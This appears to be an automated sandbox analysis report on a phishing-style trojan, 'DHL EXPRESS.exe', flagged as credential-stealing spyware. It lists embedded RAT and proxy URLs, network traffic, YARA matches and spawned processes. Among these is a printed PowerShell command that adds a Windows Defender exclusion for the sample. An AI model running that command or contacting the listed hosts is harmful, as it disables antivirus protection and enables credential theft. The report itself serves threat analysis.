Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADCB9000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://artemis-rat.com/get/65ee4b32c904
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA6D1000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://artemis-rat.com/get/65ee4b32c9042c7a6dd63c3e
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADA05000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD9E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA6D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA6D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/TheSpeedX/PROXY-List/blob/master/http.txt
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAD5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ktxcomay.com.vn
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.github.com?tags=dotcom-footer
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.torproject.org/documentation.html

Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53606
Source: unknown	Network traffic detected: HTTP traffic on port 51786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52303 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53609
Source: unknown	Network traffic detected: HTTP traffic on port 51602 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52639
Source: unknown	Network traffic detected: HTTP traffic on port 51064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53572 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55104
Source: unknown	Network traffic detected: HTTP traffic on port 53575 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55112
Source: unknown	Network traffic detected: HTTP traffic on port 51067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53572
Source: unknown	Network traffic detected: HTTP traffic on port 51625 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53616
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50503
Source: unknown	Network traffic detected: HTTP traffic on port 55337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 53211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53575
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53211
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53612
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53577
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55123
Source: unknown	Network traffic detected: HTTP traffic on port 52154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51604
Source: unknown	Network traffic detected: HTTP traffic on port 54884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51964
Source: unknown	Network traffic detected: HTTP traffic on port 52305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51602
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51607
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55129
Source: unknown	Network traffic detected: HTTP traffic on port 54878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52655
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52136
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55127
Source: unknown	Network traffic detected: HTTP traffic on port 52639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51351 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52025
Source: unknown	Network traffic detected: HTTP traffic on port 52025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52303
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52304
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52667
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52302
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52153
Source: unknown	Network traffic detected: HTTP traffic on port 52667 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 51792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51625
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51349
Source: unknown	Network traffic detected: HTTP traffic on port 51352 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51343
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52154
Source: unknown	Network traffic detected: HTTP traffic on port 54051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51621
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51071
Source: unknown	Network traffic detected: HTTP traffic on port 51965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51190
Source: unknown	Network traffic detected: HTTP traffic on port 52583 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51621 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51913
Source: unknown	Network traffic detected: HTTP traffic on port 52136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53136
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51351
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51352
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52687
Source: unknown	Network traffic detected: HTTP traffic on port 55112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51343 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 54882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52655 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52584 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54878
Source: unknown	Network traffic detected: HTTP traffic on port 52581 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53577 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53609 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52581
Source: unknown	Network traffic detected: HTTP traffic on port 54973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 50503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51607 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55337
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54884
Source: unknown	Network traffic detected: HTTP traffic on port 51913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52583
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52584
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54882
Source: unknown	Network traffic detected: HTTP traffic on port 53122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53612 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55124 -> 443

Source: unknown	HTTPS traffic detected: 140.82.114.4:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 222.255.238.159:443 -> 192.168.2.8:51190 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.54.158:443 -> 192.168.2.8:54051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.8:55337 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE

Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_02E3B798	6_2_02E3B798
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_02E34AC8	6_2_02E34AC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_02E3EA90	6_2_02E3EA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_02E33EB0	6_2_02E33EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_02E341F8	6_2_02E341F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0687C380	6_2_0687C380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0687AAE8	6_2_0687AAE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0689B288	6_2_0689B288
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_06896240	6_2_06896240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_068930B8	6_2_068930B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0689C1E8	6_2_0689C1E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_068951F0	6_2_068951F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_068979D0	6_2_068979D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0689E400	6_2_0689E400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_068972F0	6_2_068972F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0689238B	6_2_0689238B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_06890040	6_2_06890040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_06895937	6_2_06895937
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_06CC33D0	6_2_06CC33D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_06890007	6_2_06890007

Source: C:\Users\user\Desktop\DHL EXPRESS.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7564 -s 78008

Source: DHL EXPRESS.exe

Static PE information: No import functions for PE file found

Source: DHL EXPRESS.exe, 00000000.00000000.1372234331.000001D2A8B2A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameYaheHat.exe0 vs DHL EXPRESS.exe
Source: DHL EXPRESS.exe	Binary or memory string: OriginalFilenameYaheHat.exe0 vs DHL EXPRESS.exe

Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior

Source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE

Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: DHL EXPRESS.exe, EncodingInfogetYear.cs

Base64 encoded string: '+vsZ9/gr7ezAvL67uuMkAAEAEwqy5wGs0L6678fd4vf80cbH2wrTxcW30wkd+ATl8SHXJv+9w87Juu7Ivbnn3+bm+bi/+fUr+CL9rtUA9fcqu73UBAkBBhK71Ma677rwu8DHycO967Lw8gL4BALcwdLFuvI='

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/9@7/100

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7564
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:42528:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjzq2aud.lfh.ps1

Jump to behavior

Source: DHL EXPRESS.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: DHL EXPRESS.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\DHL EXPRESS.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\DHL EXPRESS.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: DHL EXPRESS.exe

String found in binary or memory: GwQHBOnsA/k=3JapaneseEraTokenAddMethody7e374wf0+wARAAMB3w4D+TTU5Pnm4+/a4yMDu/T/E8DxC9UN8+IF6AE5D9k='BOOLEANgetPrecision+Ovr-StartAtCurrentEncoding

Source: unknown	Process created: C:\Users\user\Desktop\DHL EXPRESS.exe C:\Users\user\Desktop\DHL EXPRESS.exe
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DHL EXPRESS.exe" -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
